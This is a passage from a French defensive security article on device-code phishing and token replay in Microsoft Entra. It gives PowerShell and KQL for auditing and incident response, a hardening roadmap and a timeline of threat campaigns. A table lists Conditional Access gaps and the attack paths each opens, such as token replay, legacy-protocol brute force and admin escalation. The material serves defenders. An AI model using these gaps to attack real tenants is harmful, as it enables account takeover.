<div class="language-powershell codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:hsl(212, 13%, 16%);--prism-background-color:hsl(256, 12%, 98%)"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-powershell codeBlock_bY9V thin-scrollbar" style="color:hsl(212, 13%, 16%);background-color:hsl(256, 12%, 98%)"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">Connect-MgGraph -Scopes "AuditLog.Read.All"</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">$filtre = "authenticationProtocol eq 'deviceCode' and " +</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">          "createdDateTime ge $(([datetime]::UtcNow.AddDays(-30)).ToString('o'))"</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">$connexions = Get-MgAuditLogSignIn -Filter $filtre -All -Top 999</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">$connexions | Select-Object -Property UserPrincipalName, AppDisplayName, </span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    IPAddress, CreatedDateTime | </span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    Group-Object UserPrincipalName | </span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    Sort-Object Count -Descending |</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    Select-Object Name, Count, @{N='Apps';E={($_.Group.AppDisplayName | Sort-Object -Unique) -join ', '}} |</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    Export-Csv "utilisation_code_appareil.csv" -NoTypeInformation</span><br></span></code></pre></div></div>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="62-les-six-lacunes-les-plus-courantes-de-laccès-conditionnel">6.2 Les Six Lacunes les Plus Courantes de l'Accès Conditionnel<a href="https://inferencedefense.com/fr/blog/fr-contournement-mfa-hameconnage-code-appareil-rejeu-jetons-acces-conditionnel#62-les-six-lacunes-les-plus-courantes-de-lacc%C3%A8s-conditionnel" class="hash-link" aria-label="Direct link to 6.2 Les Six Lacunes les Plus Courantes de l'Accès Conditionnel" title="Direct link to 6.2 Les Six Lacunes les Plus Courantes de l'Accès Conditionnel" translate="no">​</a></h3>
<table><thead><tr><th>Lacune</th><th>Pourquoi Elle Existe</th><th>Ce Que l'Attaquant Exploite</th></tr></thead><tbody><tr><td><strong>Flux de code d'appareil non bloqué</strong></td><td>Condition de stratégie ajoutée par Microsoft en 2023  beaucoup de tenants n'ont pas révisé leurs stratégies CA depuis</td><td>Hameçonnage par code d'appareil complet comme décrit ci-dessus</td></tr><tr><td><strong>Connexions non interactives non évaluées</strong></td><td>Les stratégies CA s'appliquent aux flux interactifs par défaut</td><td>Jeton d'actualisation volé rejoué silencieusement contourne l'évaluation CA de l'état actuel</td></tr><tr><td><strong>Exigence d'appareil conforme non appliquée pour les apps web</strong></td><td>Préoccupations de friction</td><td>Jeton rejoué dans un navigateur non conforme contourne l'exigence d'appareil</td></tr><tr><td><strong>Emplacements Nommés non maintenus</strong></td><td>L'informatique liste les IPs du bureau d'entreprise mais oublie les sorties VPN, les plages de fournisseurs de confiance</td><td>Toutes les sessions authentifiées depuis des emplacements "inconnus" génèrent des alertes à faible signal</td></tr><tr><td><strong>Authentification héritée non entièrement bloquée</strong></td><td>Certaines apps héritées se cassent quand l'auth héritée est désactivée</td><td>Brute-force via SMTP, IMAP, EWS  ces protocoles ne supportent pas du tout le MFA</td></tr><tr><td><strong>Attributions de rôles admin non protégées par MFA + PIM</strong></td><td>Commodité : les admins n'aiment pas l'auth par étapes</td><td>Un jeton volé depuis un compte utilisateur standard peut servir à escalader si les rôles admin ne sont pas correctement gérés par PIM</td></tr></tbody></table>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="63-évaluation-continue-de-laccès--ce-quelle-protège-et-ce-quelle-ne-protège-pas">6.3 Évaluation Continue de l'Accès  Ce Qu'elle Protège et Ce Qu'elle Ne Protège Pas<a href="https://inferencedefense.com/fr/blog/fr-contournement-mfa-hameconnage-code-appareil-rejeu-jetons-acces-conditionnel#63-%C3%A9valuation-continue-de-lacc%C3%A8s--ce-quelle-prot%C3%A8ge-et-ce-quelle-ne-prot%C3%A8ge-pas" class="hash-link" aria-label="Direct link to 6.3 Évaluation Continue de l'Accès  Ce Qu'elle Protège et Ce Qu'elle Ne Protège Pas" title="Direct link to 6.3 Évaluation Continue de l'Accès  Ce Qu'elle Protège et Ce Qu'elle Ne Protège Pas" translate="no">​</a></h3>
<p>L'Évaluation Continue de l'Accès (CAE) permet à certains services Microsoft (Exchange Online, SharePoint, Teams, Graph) de réévaluer l'accès en quasi-temps réel lorsque des signaux de risque changent.</p>
<p><strong>Ce que CAE protège :</strong></p>
<ul>
<li class="">Compte utilisateur désactivé → accès révoqué en quelques minutes (pas à la prochaine expiration du jeton)</li>
<li class="">Réinitialisation du mot de passe → jetons d'actualisation invalidés rapidement</li>
<li class="">Événement à risque élevé détecté par Identity Protection → accès bloqué en quelques minutes pour les clients compatibles CAE</li>
</ul>
<p><strong>Ce que CAE ne protège PAS :</strong></p>
<ul>
<li class="">L'attaquant utilisant le jeton d'accès pendant sa durée de vie restante (~60 min) avant que la révocation se propage</li>
<li class="">Les clients qui ne supportent pas CAE (beaucoup d'apps tierces, anciens clients)</li>
<li class="">Le délai de propagation de 10 à 15 minutes entre l'action de révocation et l'application même dans les clients compatibles CAE</li>
</ul>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="64-configuration-de-la-durée-de-vie-des-jetons--ce-que-vous-pouvez-vraiment-contrôler">6.4 Configuration de la Durée de Vie des Jetons : Ce Que Vous Pouvez Vraiment Contrôler<a href="https://inferencedefense.com/fr/blog/fr-contournement-mfa-hameconnage-code-appareil-rejeu-jetons-acces-conditionnel#64-configuration-de-la-dur%C3%A9e-de-vie-des-jetons--ce-que-vous-pouvez-vraiment-contr%C3%B4ler" class="hash-link" aria-label="Direct link to 6.4 Configuration de la Durée de Vie des Jetons : Ce Que Vous Pouvez Vraiment Contrôler" title="Direct link to 6.4 Configuration de la Durée de Vie des Jetons : Ce Que Vous Pouvez Vraiment Contrôler" translate="no">​</a></h3>
<div class="language-powershell codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:hsl(212, 13%, 16%);--prism-background-color:hsl(256, 12%, 98%)"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-powershell codeBlock_bY9V thin-scrollbar" style="color:hsl(212, 13%, 16%);background-color:hsl(256, 12%, 98%)"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"># Créer une stratégie personnalisée avec une durée de vie plus courte du jeton d'accès</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">$stratégieVieJeton = @{</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    Definition = @(</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        '{"TokenLifetimePolicy":{"Version":1,"AccessTokenLifetime":"00:30:00"}}'</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    )</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    DisplayName = "StratégieJetonsAccèsCourte"</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    IsOrganizationDefault = $false</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">}</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">New-MgPolicyTokenLifetimePolicy -BodyParameter $stratégieVieJeton</span><br></span></code></pre></div></div>
<p><strong>Plus impactant : Stratégie de fréquence de connexion dans l'Accès Conditionnel</strong></p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:hsl(212, 13%, 16%);--prism-background-color:hsl(256, 12%, 98%)"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:hsl(212, 13%, 16%);background-color:hsl(256, 12%, 98%)"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">Stratégie CA : "Exiger une re-authentification pour les apps sensibles"</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">──────────────────────────────────────────────────────────────────────</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">Affectations :</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">  Utilisateurs : Tous les utilisateurs</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">  Cible : Portail Azure, Exchange Online (opérations admin), Graph Explorer</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">Contrôles de Session :</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">  Fréquence de connexion : 4 heures (ou 1 heure pour la plus haute sensibilité)</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">  Session de navigateur persistante : Jamais persistante</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">──────────────────────────────────────────────────────────────────────</span><br></span></code></pre></div></div>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="partie-7--réponse-aux-incidents-lorsque-le-vol-de-jeton-est-confirmé">Partie 7  Réponse aux Incidents Lorsque le Vol de Jeton Est Confirmé<a href="https://inferencedefense.com/fr/blog/fr-contournement-mfa-hameconnage-code-appareil-rejeu-jetons-acces-conditionnel#partie-7--r%C3%A9ponse-aux-incidents-lorsque-le-vol-de-jeton-est-confirm%C3%A9" class="hash-link" aria-label="Direct link to Partie 7  Réponse aux Incidents Lorsque le Vol de Jeton Est Confirmé" title="Direct link to Partie 7  Réponse aux Incidents Lorsque le Vol de Jeton Est Confirmé" translate="no">​</a></h2>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="71-la-séquence-de-révocation">7.1 La Séquence de Révocation<a href="https://inferencedefense.com/fr/blog/fr-contournement-mfa-hameconnage-code-appareil-rejeu-jetons-acces-conditionnel#71-la-s%C3%A9quence-de-r%C3%A9vocation" class="hash-link" aria-label="Direct link to 7.1 La Séquence de Révocation" title="Direct link to 7.1 La Séquence de Révocation" translate="no">​</a></h3>
<p>Si vous avez confirmé un vol de jeton, voici la séquence de remédiation exacte. <strong>L'ordre compte :</strong></p>
<!-- -->
<div class="language-powershell codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:hsl(212, 13%, 16%);--prism-background-color:hsl(256, 12%, 98%)"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-powershell codeBlock_bY9V thin-scrollbar" style="color:hsl(212, 13%, 16%);background-color:hsl(256, 12%, 98%)"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"># Étape 1 : Révoquer TOUS les jetons d'actualisation pour l'utilisateur affecté</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">Connect-MgGraph -Scopes "User.ReadWrite.All"</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">$idUtilisateur = "victime@entreprise.com"</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">Invoke-MgRevokeUserSignInSession -UserId $idUtilisateur</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"># Vérifier la révocation :</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">Get-MgUser -UserId $idUtilisateur -Property "signInSessionsValidFromDateTime" | </span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    Select-Object signInSessionsValidFromDateTime</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"># Étape 2 : Désactiver le compte pour forcer le blocage des clients non-CAE immédiatement</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">Update-MgUser -UserId $idUtilisateur -AccountEnabled $false</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"># Attendre 60 minutes, puis réactiver</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"># Étape 3 : Supprimer les enregistrements d'appareils malveillants</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">Get-MgUserRegisteredDevice -UserId $idUtilisateur | </span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    Select-Object Id, DisplayName, RegistrationDateTime, TrustType |</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    Sort-Object RegistrationDateTime -Descending</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"># Comparer avec les appareils connus légitimes ; supprimer les suspects :</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">Remove-MgUserRegisteredDevice -UserId $idUtilisateur -DirectoryObjectId "&lt;id_appareil_suspect&gt;"</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"># Étape 4 : Supprimer les règles de boîte mail malveillantes créées pour la persistance</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">Connect-ExchangeOnline</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">Get-InboxRule -Mailbox $idUtilisateur | </span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    Where-Object {$_.DeleteMessage -eq $true -or $_.ForwardTo -ne $null} |</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    Select-Object Name, ForwardTo, DeleteMessage, MarkAsRead</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"># Supprimer les règles non créées par l'utilisateur :</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">Remove-InboxRule -Mailbox $idUtilisateur -Identity "&lt;nom_règle&gt;"</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"># Étape 5 : Supprimer les grants de consentement d'application OAuth</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">Get-MgUserOAuth2PermissionGrant -UserId $idUtilisateur | </span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    Select-Object ClientId, Scope, ConsentType</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">Remove-MgOAuth2PermissionGrant -OAuth2PermissionGrantId "&lt;id_grant&gt;"</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"># Étape 6 : Vérifier les nouvelles méthodes MFA ajoutées par l'attaquant</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">Get-MgUserAuthenticationMethod -UserId $idUtilisateur</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"># Rechercher des numéros de téléphone, authentificateurs TOTP ou clés FIDO non reconnus</span><br></span></code></pre></div></div>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="72-reconstruction-de-la-chronologie-forensique">7.2 Reconstruction de la Chronologie Forensique<a href="https://inferencedefense.com/fr/blog/fr-contournement-mfa-hameconnage-code-appareil-rejeu-jetons-acces-conditionnel#72-reconstruction-de-la-chronologie-forensique" class="hash-link" aria-label="Direct link to 7.2 Reconstruction de la Chronologie Forensique" title="Direct link to 7.2 Reconstruction de la Chronologie Forensique" translate="no">​</a></h3>
<p>Après containment, reconstruisez exactement ce à quoi l'attaquant a accédé :</p>
<div class="language-kql codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:hsl(212, 13%, 16%);--prism-background-color:hsl(256, 12%, 98%)"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-kql codeBlock_bY9V thin-scrollbar" style="color:hsl(212, 13%, 16%);background-color:hsl(256, 12%, 98%)"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">// Reconstruction complète de l'activité pour un compte compromis</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">let UtilisateurCompromis = "victime@entreprise.com";</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">let DébutAttaque = datetime(2025-01-15 23:00:00);</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">let FinAttaque = datetime(2025-01-16 06:00:00);</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">// Tous les événements d'authentification</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">SigninLogs</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">| where TimeGenerated between (DébutAttaque .. FinAttaque)</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">| where UserPrincipalName == UtilisateurCompromis</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">| project TimeGenerated, Type="Connexion Interactive",</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">          Détails=strcat(AppDisplayName, " depuis ", IPAddress, " (", </span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">          tostring(LocationDetails.countryOrRegion), ")"),</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">          ProtocoAuthent = AuthenticationProtocol,</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">          Risque = RiskLevelAggregated</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">| union (</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    NonInteractiveUserSignInLogs</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    | where TimeGenerated between (DébutAttaque .. FinAttaque)</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    | where UserPrincipalName == UtilisateurCompromis</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    | project TimeGenerated, Type="Actualisation Silencieuse de Jeton",</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">              Détails=strcat(AppDisplayName, " depuis ", IPAddress),</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">              ProtocoAuthent = AuthenticationProtocol,</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">              Risque = RiskLevelAggregated</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">)</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">| union (</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    AuditLogs</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    | where TimeGenerated between (DébutAttaque .. FinAttaque)</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    | where InitiatedBy.user.userPrincipalName == UtilisateurCompromis</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    | project TimeGenerated, Type="Action Répertoire",</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">              Détails=strcat(OperationName, ": ", tostring(TargetResources[0].displayName)),</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">              ProtocoAuthent="N/A",</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">              Risque="N/A"</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">)</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">| sort by TimeGenerated asc</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">| project TimeGenerated, Type, Détails, ProtocoAuthent, Risque</span><br></span></code></pre></div></div>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="partie-8--la-feuille-de-route-de-durcissement--ce-qui-arrête-vraiment-cela">Partie 8  La Feuille de Route de Durcissement : Ce Qui Arrête Vraiment Cela<a href="https://inferencedefense.com/fr/blog/fr-contournement-mfa-hameconnage-code-appareil-rejeu-jetons-acces-conditionnel#partie-8--la-feuille-de-route-de-durcissement--ce-qui-arr%C3%AAte-vraiment-cela" class="hash-link" aria-label="Direct link to Partie 8  La Feuille de Route de Durcissement : Ce Qui Arrête Vraiment Cela" title="Direct link to Partie 8  La Feuille de Route de Durcissement : Ce Qui Arrête Vraiment Cela" translate="no">​</a></h2>
<table><thead><tr><th>Contrôle</th><th>Priorité</th><th>Complexité</th><th>Réduction du Risque</th><th>Mises en Garde</th></tr></thead><tbody><tr><td><strong>Bloquer le flux de code d'appareil dans CA</strong></td><td>P0</td><td>Faible</td><td><strong>Élimine entièrement le hameçonnage par code d'appareil</strong></td><td>Auditer d'abord ; peut casser des intégrations IoT/héritées</td></tr><tr><td><strong>Activer NonInteractiveUserSignInLogs dans SIEM</strong></td><td>P0</td><td>Faible</td><td>Comble la lacune de détection majeure</td><td>Augmentation du volume de journaux ; assurer la rétention</td></tr><tr><td><strong>MFA résistant au phishing (FIDO2 / Passkeys)</strong></td><td>P1</td><td>Moyen</td><td>Élimine le vol d'identifiants AiTM</td><td>Nécessite des clés matérielles ou des appareils compatibles</td></tr><tr><td><strong>Bloquer les protocoles d'authentification hérités</strong></td><td>P1</td><td>Moyen</td><td>Élimine le brute-force SMTP/IMAP</td><td>Casser les apps héritées d'abord ; tester en mode rapport</td></tr><tr><td><strong>Exiger un appareil conforme pour toutes les apps cloud</strong></td><td>P1</td><td>Élevé</td><td>Le rejeu de jeton depuis un appareil non géré échoue à CA</td><td>Nécessite l'enrollment complet Intune ; friction utilisateur</td></tr><tr><td><strong>Fréquence de connexion : 1–4h pour les ressources sensibles</strong></td><td>P1</td><td>Faible</td><td>Limite la fenêtre de rejeu de jetons</td><td>Friction de re-auth pour les utilisateurs légitimes</td></tr><tr><td><strong>CAE pour Exchange/SharePoint/Teams</strong></td><td>P2</td><td>Faible</td><td>La révocation de jeton se propage en minutes</td><td>Nécessite des clients compatibles CAE</td></tr><tr><td><strong>Restreindre le consentement d'apps OAuth aux apps approuvées par admin</strong></td><td>P2</td><td>Moyen</td><td>Bloque les attaques de consentement illicite</td><td>Surcharge administrative pour les approbations d'apps</td></tr><tr><td><strong>Application du TPM sur tous les appareils Windows</strong></td><td>P2</td><td>Élevé</td><td>Rend l'extraction du PRT infaisable</td><td>Un renouvellement matériel peut être nécessaire</td></tr><tr><td><strong>Stratégie CA de Protection des Jetons (préversion)</strong></td><td>P2</td><td>Faible</td><td>Lie les jetons à des appareils spécifiques</td><td>Fonctionnalité en préversion ; support d'apps limité</td></tr></tbody></table>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="mfa-résistant-au-phishing--ce-que-cela-signifie-vraiment">MFA Résistant au Phishing : Ce Que Cela Signifie Vraiment<a href="https://inferencedefense.com/fr/blog/fr-contournement-mfa-hameconnage-code-appareil-rejeu-jetons-acces-conditionnel#mfa-r%C3%A9sistant-au-phishing--ce-que-cela-signifie-vraiment" class="hash-link" aria-label="Direct link to MFA Résistant au Phishing : Ce Que Cela Signifie Vraiment" title="Direct link to MFA Résistant au Phishing : Ce Que Cela Signifie Vraiment" translate="no">​</a></h3>
<p>"MFA résistant au phishing" désigne spécifiquement les méthodes d'authentification où l'identifiant est <strong>cryptographiquement lié à l'origine de la partie de confiance</strong>  ce qui signifie que même un proxy AiTM ne peut pas l'intercepter.</p>
<p>Cela s'applique à :</p>
<ul>
<li class=""><strong>Clés de sécurité FIDO2</strong> (YubiKey, etc.) : La clé privée ne quitte jamais le token matériel ; la réponse de défi est délimitée au domaine d'origine exact</li>
<li class=""><strong>Windows Hello for Business</strong> : Lié au TPM de l'appareil ; cryptographiquement lié au domaine de connexion</li>
<li class=""><strong>Authentification basée sur certificat</strong> : Certificats clients avec clés matérielles</li>
</ul>
<p>Cela ne s'applique <strong>pas</strong> à :</p>
<ul>
<li class="">Codes TOTP / basés sur le temps (code Microsoft Authenticator) : Peuvent être interceptés par un proxy AiTM en temps réel</li>
<li class="">Notifications push : Peuvent être hameçonnées via la fatigue MFA ou transmises</li>
<li class="">OTP SMS : Peuvent être SIM-swappés</li>
</ul>
<!-- -->
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="résumé-pour-les-rssi--que-faire-lundi-matin">Résumé pour les RSSI : Que Faire Lundi Matin<a href="https://inferencedefense.com/fr/blog/fr-contournement-mfa-hameconnage-code-appareil-rejeu-jetons-acces-conditionnel#r%C3%A9sum%C3%A9-pour-les-rssi--que-faire-lundi-matin" class="hash-link" aria-label="Direct link to Résumé pour les RSSI : Que Faire Lundi Matin" title="Direct link to Résumé pour les RSSI : Que Faire Lundi Matin" translate="no">​</a></h2>
<p><strong>1. Exécutez la requête d'audit de code d'appareil aujourd'hui.</strong> Déterminez si le hameçonnage par code d'appareil se produit déjà dans votre tenant. Extrayez 30 jours de <code>SigninLogs</code> où <code>AuthenticationProtocol == "deviceCode"</code>. Les résultats seront soit rassurants, soit immédiatement actionnables.</p>
<p><strong>2. Assurez-vous que les <code>NonInteractiveUserSignInLogs</code> sont intégrés dans votre SIEM.</strong> S'ils ne le sont pas, vous avez un angle mort pour le rejeu de jetons. C'est un changement de configuration, pas un achat de produit.</p>
<p><strong>3. Mettez la stratégie CA "Bloquer le flux de code d'appareil" en mode rapport immédiatement.</strong> Voyez ce qui se casse. Vous avez 30 jours de données de connexion pour évaluer l'impact. La plupart des environnements trouveront une utilisation légitime quasi nulle.</p>
<p><strong>4. Identifiez vos comptes de la plus haute valeur (dirigeants, admins informatiques, responsables financiers).</strong> Appliquez des clés matérielles FIDO2 pour ces utilisateurs en premier. Le modèle de menace pour un DAF hameçonné par code d'appareil est catégoriquement différent de celui d'un utilisateur de la main-d'œuvre générale.</p>
<p><strong>5. Créez un runbook de révocation de jetons.</strong> Lorsqu'un incident de vol de jeton est confirmé, votre équipe doit exécuter la séquence de révocation en moins de 10 minutes. Si ce processus nécessite une chaîne d'approbation de 30 minutes, l'attaquant a déjà pivoté.</p>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="chronologie--du-hameçonnage-par-code-dappareil-à-la-commodité-20212026">Chronologie : Du Hameçonnage par Code d'Appareil à la Commodité (2021–2026)<a href="https://inferencedefense.com/fr/blog/fr-contournement-mfa-hameconnage-code-appareil-rejeu-jetons-acces-conditionnel#chronologie--du-hame%C3%A7onnage-par-code-dappareil-%C3%A0-la-commodit%C3%A9-20212026" class="hash-link" aria-label="Direct link to Chronologie : Du Hameçonnage par Code d'Appareil à la Commodité (2021–2026)" title="Direct link to Chronologie : Du Hameçonnage par Code d'Appareil à la Commodité (2021–2026)" translate="no">​</a></h2>
<table><thead><tr><th>Date</th><th>Événement</th></tr></thead><tbody><tr><td><strong>2021</strong></td><td>Secureworks documente le hameçonnage OAuth par code d'appareil ciblant des acteurs liés à la Russie ; publie SquarePhish</td></tr><tr><td><strong>Mi-2024</strong></td><td>Microsoft suit Storm-2372 (aligné sur la Russie) utilisant le hameçonnage par code d'appareil contre des gouvernements, ONG et entreprises dans plus de 15 pays</td></tr><tr><td><strong>Fév. 2025</strong></td><td>Microsoft divulgue publiquement la campagne Storm-2372 ; attribue avec haute confiance aux acteurs étatiques russes</td></tr><tr><td><strong>Juin 2025</strong></td><td>ShinyHunters/Scattered Spider utilisent le vol de jetons OAuth via l'intégration Salesloft/Drift pour violer Salesforce dans 700+ organisations dont Cloudflare, Zscaler, Tenable</td></tr><tr><td><strong>Sep. 2025</strong></td><td>Proofpoint observe une hausse "très inhabituelle" des campagnes de hameçonnage par code d'appareil  plusieurs clusters de menaces adoptent simultanément</td></tr><tr><td><strong>Oct. 2025</strong></td><td>TA2723 (motivation financière) commence à utiliser le hameçonnage par code d'appareil à grande échelle  la technique passe des APT à la cybercriminalité de commodité</td></tr><tr><td><strong>Déc. 2025</strong></td><td>Proofpoint publie ses recherches ; les kits de phishing SquarePhish2 et Graphish publiquement documentés</td></tr><tr><td><strong>Fév. 2026</strong></td><td>La plateforme PhaaS EvilTokens émerge  le hameçonnage par code d'appareil entièrement banalisé comme offre de service</td></tr><tr><td><strong>Avr. 2026</strong></td><td>Microsoft documente une campagne de hameçonnage par code d'appareil activée par l'IA utilisant la génération dynamique de code et 